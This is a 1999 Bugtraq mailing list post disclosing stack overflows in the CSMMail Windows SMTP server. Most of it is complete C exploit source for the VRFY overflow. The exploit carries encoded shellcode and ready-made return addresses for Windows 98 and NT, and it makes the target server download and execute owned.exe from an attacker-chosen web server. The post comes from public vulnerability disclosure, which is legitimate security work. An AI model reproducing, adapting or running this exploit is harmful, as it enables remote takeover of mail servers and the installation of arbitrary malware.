Bugtraq mailing list archives

CSMMail Windows SMTP Server Remote Buffer Overflow Exploit


From: pw () NACS NET (pw)
Date: Tue, 27 Apr 1999 13:44:51 -0400


        CSMMail is a SMTP server for win95/98/NT with features that
include at least five stack overflows.  At least two of these allow remote
execution of arbitrary code.
        The first the overflow is found in the HELO command, there is also
an overflow in the MAIL FROM: command, however, I have been unable to get
either of these to return to an arbitrary address.
        The next overflow I found was in the VRFY command, when a long string is
used as an argument ("VRFY aaaaaaa....") one can overwrite the return
address and force the server to return to arbitrary code. This is the
overflow the following exploit takes advantage of.
        There is also another buffer overflow in the VRFY command which
happens if one enters "VRFY aaaa@aaaaaaa......"  I have not been able to
make this return to an arbitrary address.
        The RCPT TO: command also has a overflow in it that can be used to
return to arbitrary code.
        There are two main problems which are run into when exploiting the
first hole in the VRFY command.  The first one is trivial to get around.
If a "@" sign (40h) is found on the buffer being copied and the buffer is
excessively long it will not overflow the buffer.  To get around this we
just make sure 40h is not in our code or offseted addresses.
        The next problem stems from the fact that CSM Mail has no DLL's of
it's own which are loaded in its address space and it's Image Base is
00400000h.  Since we will have to include a null to address to any of
CSMMail's code there is no sure way to return to our code.  To get around
this I have included multiple return addresses in the exploit which are
bound directly to the operating system version which CSM Mail is running
under.
        It is also worth noting that two of the arguments for
the function which is having it's return address overwritten need to be
fixed up with a valid read memory location in order to bypass page faults.
        The exploit that is included below will force CSMMail to connect
to a specified web server and download, save and execute a file from it.
The exploit should work under x86 unix's and x86 versions of win32.  By
default it is set to be compiled under unix, to compile it under win32
take out the "#define UNIX."  I would like to thank Acpizer for
porting this to win32 and determining the SP3 address values.
        I do not know of any bugfixes for this and this exploit
works on the current version which is being distributed from their
site.  (It did the last time I checked it)

-mcp

<--------------------------CUT HERE------------------------->

#define UNIX

#ifndef UNIX
 #include <stdio.h>
 #include <fcntl.h>
 #include <winsock.h>
 #include <io.h>
 #define CLOSE _close
 #define SLEEP Sleep

#else
 #include <stdio.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <netdb.h>
 #include <netinet/in.h>
 #include <sys/socket.h>
 #include <arpa/inet.h>
 #define CLOSE close
 #define SLEEP sleep
#endif

/*
 CSMMail Exploit by _mcp_ <pw () nacs net>
 Win32 port and sp3 address's by Acpizer <acpizer () unseen org>

 Greets go out to the following people: Morpheus, Sizban, Rocket,
   Acpizer, Killspree, Ftz, Dregvant, Vio, Symbiont, Coolg, Henk, #finite
   and #win32asm.

 You can contact me by e-mail or on efnet.


 As always no greets go out to etl

*/


const unsigned long FIXUP1 = 264;
const unsigned long FIXUP2 = 268;
const unsigned long OFFSET = 260;

char code[] =
"\xEB\x53\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1"
"\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF"
"\xEB\x37\x46\x58\xFF\xE0\x33\xDB\xB3\x48\xC1\xE3\x10\x66\xBB"
"\x94\x62\x56\xFF\x13\x8B\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46"
"\x83\xC0\x1\x3A\x6\x74\xDD\x56\x55\x33\xDB\xB3\x48\xC1\xE3"
"\x10\x66\xBB\xB8\x62\xFF\x13\xAB\xEB\xDF\xEB\x4F\x33\xC9\x66"
"\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8\x33"
"\xC9\x51\x51\x51\x51\x57\xFF\x57\xF4\x33\xC9\x51\x51\x51\x51"
"\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83\xC6"
"\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8\xFF"
"\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF\x57"
"\xF0\xE8\x59\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33\x1"
"\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75\x66"
"\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62\x6D"
"\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1\x46"
"\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A\x4F"
"\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71"
"\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71\x66"
"\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x53"
"\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B\x30"
"\x30\x00";


    /*This is the encrypted /~pw/owned.exe we paste at the end */
char dir[] =
"\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0";


unsigned int getip(char *hostname)
  {
  struct hostent *hostinfo;
  unsigned int binip;

  hostinfo = gethostbyname(hostname);

  if(!hostinfo)
    {
      printf("cant find: %s\n",hostname);
      exit(0);
    }
#ifndef UNIX
  memcpy((char  *)&binip, hostinfo -> h_addr, hostinfo -> h_length);
#else
  bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length);
#endif
  return(binip);
  }


int usages(char *fname)
{                                               
      printf("CSMMail Remote Buffer Overflow exploit v1.1 by _mcp_ <pw () nacs net>.\n");
      printf("Win32 porting and nt sp3 address's by Acpizer <acpizer () unseen org>\n");
      printf("Usages: \n");
      printf("%s <target host> <www site> <fixup address> <return address>\n", fname);
      printf("win98 SP1:\n");
      printf("        <fixup address>  = 0xBFF78030\n");
      printf("        <return address> = 0xBFF79243\n");
      printf("NT SP3:\n");
      printf("        <fixup address>  = 0x77EB14C0\n");
      printf("        <return address> = 0x77E53FC7\n");
      printf("NT SP4:\n");
      printf("        <fixup address>  = 0x77EB14C0\n");
      printf("        <return address> = 0x77E9A3A4\n");
      printf("Will make <target host> running CSMMail download, save, and\n");
      printf("execute http://<www site>/~pw/owned.exe\n");

exit(0);

}


main (int argc, char *argv[])
{
  int sock,targethost,sinlen;
  struct sockaddr_in sin;
  static unsigned char buffer[20000];
  unsigned char *ptr,*ptr2;
  unsigned long ret_addr;
  int len,x = 1;
  unsigned long rw_mem;


#ifndef UNIX
  WORD wVersionRequested;
  WSADATA wsaData;
  int err;

  wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
  if (err != 0) exit(1);
#endif
  if (argc < 5) usages(argv[0]);


  targethost = getip(argv[1]);


   len = strlen(argv[2]);
    if (len > 60)
     {
       printf("Bad http format!\n");
       usages(argv[0]);
     }

   ptr = argv[2];
   while (x <= len)
      {
        x++;
        (*ptr)++;           /*Encrypt the http ip for later parsing */
        ptr++;
      }

  if( (sscanf(argv[3],"0x%x",(unsigned long *) &rw_mem)) == 0)
    {
      printf("Input Error, the fixup memory address has incorrect format\n");
      exit(0);
    }
  if( (sscanf(argv[4],"0x%x",(unsigned long *) &ret_addr)) == 0)
    {
      printf("Input error, the return address has incorrect format\n");
      exit(0);
    }


  sock = socket(AF_INET,SOCK_STREAM,0);

  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = targethost;
  sin.sin_port = htons(25);
  sinlen = sizeof(sin);


  printf("Starting to create the egg\n");
  ptr = (char *)&buffer;
  strcpy(ptr,"VRFY ");
  ptr+=5;

  memset((void *)ptr, 0x90, 7000);

  ptr2=ptr;
  ptr2+=FIXUP1;
  memcpy((void *) ptr2,(void *) &rw_mem,4);
  ptr2=ptr;
  ptr2+=FIXUP2;
  memcpy((void *) ptr2,(void *) &rw_mem,4);

  ptr+=OFFSET;
  memcpy ((void *) ptr,(void *)&ret_addr, 4);
  ptr+=60;
  memcpy((void *) ptr,(void *)&code,strlen(code));


  (char *) ptr2 = strstr(ptr,"\xb1");
  if (ptr2 == NULL)
     {
       printf("Bad shell code\n");
       exit(0);
     }
  ptr2++;
  (*ptr2)+= len + ( sizeof(dir) - 1 );

   (char *) ptr2 = strstr(ptr,"\x83\xc6");
     if (ptr2 == NULL)
      {
        printf("Bad shell code\n");
        exit(0);

      }

  ptr2+= 2;

  (*ptr2)+= len + 8;

  ptr+=strlen(code);
  memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http
  site's info */
  ptr+=len;
  memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
  printf("Made the egg\n");

    if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
     {
       perror("error:");
       exit(0);
     }
    printf("Connected.\n");

#ifndef UNIX
        send(sock, "HELO lamer.com\r\n",16, 0);
        send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
        send(sock,"\r\n",2,0);
#else
    write(sock, "HELO lamer.com\r\n",16);
    write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
*)&buffer */
    write(sock,"\r\n",2);
#endif
    SLEEP(1);
    printf("Sent the egg\n");
#ifndef UNIX
  WSACleanup();
#endif
    CLOSE(sock);
   exit(1);
}



Current thread: